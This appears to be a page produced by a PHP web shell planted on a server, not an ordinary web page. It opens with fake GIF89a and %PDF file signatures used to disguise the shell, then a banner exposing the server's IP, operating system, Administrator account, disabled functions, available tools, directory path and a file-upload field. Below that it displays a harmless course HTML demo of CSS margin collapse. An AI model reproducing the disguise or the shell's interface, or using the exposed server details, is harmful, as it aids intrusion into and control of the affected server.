GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/JimMartinson/CST1021/Resources/Week/11/ |
Upload File : |
<!DOCTYPE html> <html lang="en"> <head> <title>CSS collapse</title> <meta charset="utf-8"> <style> div { margin: 2rem 0; background: lavender; } p { margin: 0.4rem 0 1.2rem 0; background: yellow; } </style> </head> <body> <h1>CSS collapse</h1> <p>The bottom margin of this paragraph is collapsed …</p> <p> … with the top margin of this paragraph, yielding a margin of <code>1.2rem</code> in between. </p> <div> This parent element contains two paragraphs! <p> This paragraph has a <code>.4rem</code> margin between it and the text above. </p> <p> My bottom margin collapses with my parent, yielding a bottom margin of <code>2rem</code>. </p> </div> <p>I am <code>2rem</code> below the element above.</p> </body> </html>